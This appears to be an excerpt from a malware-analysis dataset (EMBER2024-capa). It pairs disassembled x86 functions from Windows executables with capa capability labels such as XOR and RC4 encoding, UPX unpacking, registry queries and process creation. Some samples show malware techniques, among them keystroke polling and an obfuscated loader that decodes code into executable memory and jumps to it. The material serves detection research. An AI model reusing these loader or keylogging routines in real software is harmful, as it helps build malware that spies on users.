joyce8/EMBER2024-capa huggingface dataset:
Function at 0x532928
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x52c]
mov edx, 0x80000005
call fcn.00451f98
mov dl, 1
mov eax, dword [0x41a268]
call fcn.004219e0
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x532a88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x164]
xor ecx, ecx
mov edx, 0x160
call fcn.00402bd8
push 0x4101
push 0x160
lea eax, [ebp - 0x164]
push eax
push 0x90
mov eax, dword [0x54f19c]
call fcn.00403fe8
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 4]
call fcn.00421d84
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x52c]
mov edx, dword [ebp - 4]
call fcn.00451bc8
lea eax, [ebp - 0x164]
xor ecx, ecx
mov edx, 0x160
call fcn.00402bd8
push 0x4103
push 0x160
lea eax, [ebp - 0x164]
push eax
push 0x90
mov eax, dword [0x54f19c]
call fcn.00403fe8
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 4]
call fcn.00421d84
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x52c]
mov edx, dword [ebp - 4]
call fcn.00451bc8
lea eax, [ebp - 0x164]
xor ecx, ecx
mov edx, 0x160
call fcn.00402bd8
push 0xc101
push 0x160
lea eax, [ebp - 0x164]
push eax
push 0x90
mov eax, dword [0x54f19c]
call fcn.00403fe8
push eax
call sub.shell32.dll_SHGetFileInfoA
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 4]
call fcn.00421d84
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x52c]
mov edx, dword [ebp - 4]
call fcn.00451bc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x532a8f
mov eax, dword [ebp - 4]
call fcn.00402f44
ret
Function at 0x53bc3c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [edi + 0x20c]
call fcn.00479cf4
mov esi, eax
dec esi
test esi, esi
jle 0x53bc91
mov ebx, 1
mov eax, dword [edi + 0x20c]
mov edx, ebx
call fcn.00479d2c
mov edx, 3
call fcn.0047983c
xor al, 1
push eax
mov eax, dword [edi + 0x20c]
mov edx, ebx
call fcn.00479d2c
mov edx, 3
pop ecx
call fcn.004798a8
inc ebx
dec esi
jne 0x53bc5b
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x53bc98
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [edi + 0x20c]
call fcn.00479cf4
mov esi, eax
dec esi
test esi, esi
jle 0x53bced
mov ebx, 1
mov eax, dword [edi + 0x20c]
mov edx, ebx
call fcn.00479d2c
mov edx, 3
call fcn.0047983c
xor al, 1
push eax
mov eax, dword [edi + 0x20c]
mov edx, ebx
call fcn.00479d2c
mov edx, 3
pop ecx
call fcn.004798a8
inc ebx
dec esi
jne 0x53bcb7
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x545fbc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov eax, 0x545b84
call fcn.00406ae0
xor eax, eax
push ebp
push 0x54682f
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040299c
mov eax, dword [0x54c5c8]
mov eax, dword [eax]
call fcn.0043b414
mov eax, dword [0x54c5c8]
mov eax, dword [eax]
mov edx, 0x546848
call fcn.0043b034
mov eax, dword [0x54c5c8]
mov eax, dword [eax]
add eax, 0x38
call fcn.00403ba8
lea eax, [ebp - 0x10]
call fcn.004097b8
mov edx, dword [ebp - 0x10]
mov eax, dword [0x54c4d0]
call fcn.00403bfc
mov eax, dword [0x54c4d0]
call fcn.00456108
call sub.kernel32.dll_GetTickCount
mov edx, dword [0x54c188]
mov dword [edx], eax
mov edx, dword [0x54c4d0]
mov edx, dword [edx]
lea eax, [ebp - 0x10]
mov ecx, 0x54685c
call fcn.00403e70
mov eax, dword [ebp - 0x10]
call fcn.004570f8
test al, al
jne 0x546089
lea edx, [ebp - 0x14]
mov eax, dword [0x54c5c8]
mov eax, dword [eax]
call fcn.0043b9ac
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00409428
mov edx, dword [ebp - 0x10]
mov eax, dword [0x54c4d0]
call fcn.00403bfc
mov dl, 1
mov eax, dword [0x462b20]
call fcn.00462c68
mov dword [0x54f620], eax
xor eax, eax
push ebp
push 0x5461f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [0x54f620]
call fcn.00462d0c
mov edx, 0x546874
mov eax, dword [0x54f620]
call fcn.00462e9c
test al, al
je 0x5461df
mov edx, 0x546890
mov eax, dword [0x54f620]
call fcn.004633a8
test al, al
je 0x5461df
push 0x54f624
push 0x1a
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
call fcn.0046352c
test al, al
je 0x5461df
mov eax, 0x54f630
mov edx, 0x104
call fcn.00404154
mov eax, dword [0x54f630]
call fcn.00403fe8
push eax
mov eax, dword [0x54f624]
push eax
call sub.shell32.dll_SHGetPathFromIDList
test eax, eax
je 0x546144
mov eax, dword [0x54f630]
call fcn.00403fe8
call fcn.004097fc
mov edx, eax
mov eax, 0x54f630
call fcn.00404154
mov eax, 0x54f630
call fcn.00456108
mov eax, dword [0x54f630]
call fcn.00456144
test al, al
je 0x546196
mov eax, dword [0x54c4d0]
mov edx, dword [0x54f630]
call fcn.00403bfc
mov eax, dword [0x54c4d0]
mov edx, 0x546848
call fcn.00403e2c
mov eax, dword [0x54c4d0]
mov eax, dword [0x54c4d0]
call fcn.00456108
mov eax, dword [0x54c4d0]
mov eax, dword [eax]
call fcn.00456f8c
cmp dword [0x54f624], 0
je 0x5461df
push 0x54f628
call sub.shell32.dll_SHGetMalloc
call fcn.0046352c
test al, al
je 0x5461df
mov eax, dword [0x54f624]
push eax
mov eax, dword [0x54f628]
push eax
mov eax, dword [eax]
call dword [eax + 0x1c]
test eax, eax
jle 0x5461df
mov eax, dword [0x54f624]
push eax
mov eax, dword [0x54f628]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
xor eax, eax
mov dword [0x54f624], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5461fe
mov eax, dword [0x54f620]
call fcn.00402f44
ret
Function at 0x4ae920
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x70000]
push edi
or ebp, 0xffffffff
jmp 0x4ae942
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4ae949
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae938
mov eax, 1
add ebx, ebx
jne 0x4ae95b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4ae96c
jne 0x4ae98b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae98b
dec eax
add ebx, ebx
jne 0x4ae978
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4ae950
add ebx, ebx
jne 0x4ae987
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4ae9dd
xor ecx, ecx
sub eax, 3
jb 0x4ae9a3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4aea12
sar eax, 1
mov ebp, eax
jmp 0x4ae9ae
add ebx, ebx
jne 0x4ae9ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae97c
inc ecx
add ebx, ebx
jne 0x4ae9bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae97c
add ebx, ebx
jne 0x4ae9c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4ae9be
jne 0x4ae9da
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4ae9be
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4ae9fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4ae9ee
jmp 0x4ae93e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4ae9fc
add edi, ecx
jmp 0x4ae93e
pop esi
mov edi, esi
mov ecx, 0x2ca4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4aea1a
cmp byte [edi], 0x17
jne 0x4aea1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4aea1f
lea edi, [esi + 0xab000]
mov eax, dword [edi]
or eax, eax
je 0x4aea97
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb5090]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb51a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4aea4c
mov ecx, edi
jns 0x4aea7b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb51ac]
or eax, eax
je 0x4aea91
mov dword [ebx], eax
add ebx, 4
jmp 0x4aea69
call dword [esi + 0xb51bc]
mov ebp, dword [esi + 0xb51b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4aeacb
sub esp, 0xffffff80
jmp 0x444073
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40288e
pop dword [ebp - 8]
mov eax, 0xf6aff048
sub eax, 0xf66fc7ba
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xcc178472
sub dword [ebp - 0x18], 0x7dc53f27
mov dword [ebp - 0x14], 0xf1df8dbf
sub dword [ebp - 0x14], 0xbfac417a
mov dword [ebp - 0x10], 0xeb1d4468
sub dword [ebp - 0x10], 0x9ed1003a
mov dword [ebp - 0xc], 0x7a7d2ae8
sub dword [ebp - 0xc], 0x7a7d2ae8
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x981d8559
add dword [ebp - 0x18], 0xdc54e3fd
mov dword [ebp - 0x14], 0xdd64c71c
sub dword [ebp - 0x14], 0x9bf865a7
mov dword [ebp - 0x10], 0x9b682c28
sub dword [ebp - 0x10], 0x37f8bfbc
mov dword [ebp - 0xc], 0xbcbceee
add dword [ebp - 0xc], 0xf4343112
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x716fa889
add eax, 0x8ed0c81f
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3288e
push 0
call eax
mov ecx, 0x37c1
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 8]
mov edi, 0x7c5e19fd
xor dword [ebp - 4], esi
mov esi, dword [ebx]
add esi, edi
mov dword [ebp - 4], 0xea266534
mov dword [edx], esi
sub dword [ebp - 4], ecx
add edx, 4
add ebx, 0xa80b29c3
sub ebx, 0xa80b29bf
loop 0x40299b
add eax, 0xd1d7
xor ebx, ebx
add ebx, eax
add eax, 0xeacf0c13
add eax, 0x1530f3f2
mov ecx, 0xad9ff4dc
sub ecx, 0xad5ff4dc
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x408a60
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x466b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045b6e1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408ae2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00459460
mov eax, dword [eax]
push 0x4921f0
push eax
call fcn.0044c094
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045b96c
test bl, bl
je 0x408ae2
push 0x4921f0
lea ecx, [esp + 0xc]
call fcn.0045bcfc
push 0x495d64
lea ecx, [esp + 0xc]
call fcn.0045bcfc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x408b1e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045b96c
jmp 0x408be9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408ba2
lea edx, [esp + 0x7c]
push 0x495d60
push edx
call fcn.0044c094
add esp, 8
test eax, eax
je 0x408ba2
lea eax, [esp + 0x7c]
push 0x495d5c
push eax
call fcn.0044c094
add esp, 8
test eax, eax
je 0x408ba2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408b32
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045b96c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4093e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409442
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409450
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x466c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x49c2c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409588
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4094b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045b96c
xor eax, eax
jmp 0x4095ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045baa9
push esi
lea ecx, [esp + 0xc]
call fcn.0045bd38
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x495d9c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4095dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004093e0
test eax, eax
jne 0x4095dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004093e0
test eax, eax
jne 0x4095dd
lea eax, [esp + 0x14]
push 0x495d78
push eax
call fcn.0044d0d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4095bc
lea ecx, [esp + 0x14]
push 0x495d74
push ecx
call fcn.0044d050
mov esi, eax
add esp, 8
test esi, esi
jne 0x4095bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4095bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045ba59
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4094ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045b96c
xor eax, eax
jmp 0x4095ff
mov byte [esi], 0
push 0x495d70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045b96c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x419b40
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x419bae
cmp si, 0x69
ja 0x419bae
add esi, 0xffd0
cmp si, 0x11
je 0x419b7e
push 0x11
call edi
test ax, ax
jge 0x419b7e
or esi, 0x2000
cmp si, 0x10
je 0x419b93
push 0x10
call edi
test ax, ax
jge 0x419b93
or esi, 0x4000
cmp si, 0x12
je 0x419ba8
push 0x12
call edi
test ax, ax
jge 0x419ba8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x419bbb
mov esi, 0xbd
jmp 0x419b6f
cmp si, 0x6e
jne 0x419bc8
mov esi, 0xbe
jmp 0x419b6f
cmp si, 0x6f
jne 0x419b69
mov esi, 0xbf
jmp 0x419b6f

Function at 0x41b260
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4ac930]
xor edx, edx
cmp eax, edx
jne 0x41b286
xor eax, eax
mov byte [eax + 0x4ac830], al
inc eax
cmp eax, 0x100
jl 0x41b26e
mov dword [0x4ac930], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4ac830
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41b317
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41b2ea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41b2b8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41b390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41b3e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41b3ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421e20
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x421fb8
cmp ebp, ebx
jle 0x421fb8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x421e7e
dec eax
or eax, 0xfffffff8
inc eax
je 0x421e85
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x421e94
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x421e9b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045b6ad
add esp, 4
cmp eax, ebx
je 0x421ebc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045b6ad
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x421fae
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x421f95
mov al, byte [edx]
cmp al, 0xc0
jbe 0x421f81
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x421f76
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x421f84
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x421f84
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x421f20
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x421f11
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4251d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4680e8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x425209
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0046305a
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004630a6
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00425290
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004630e3
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24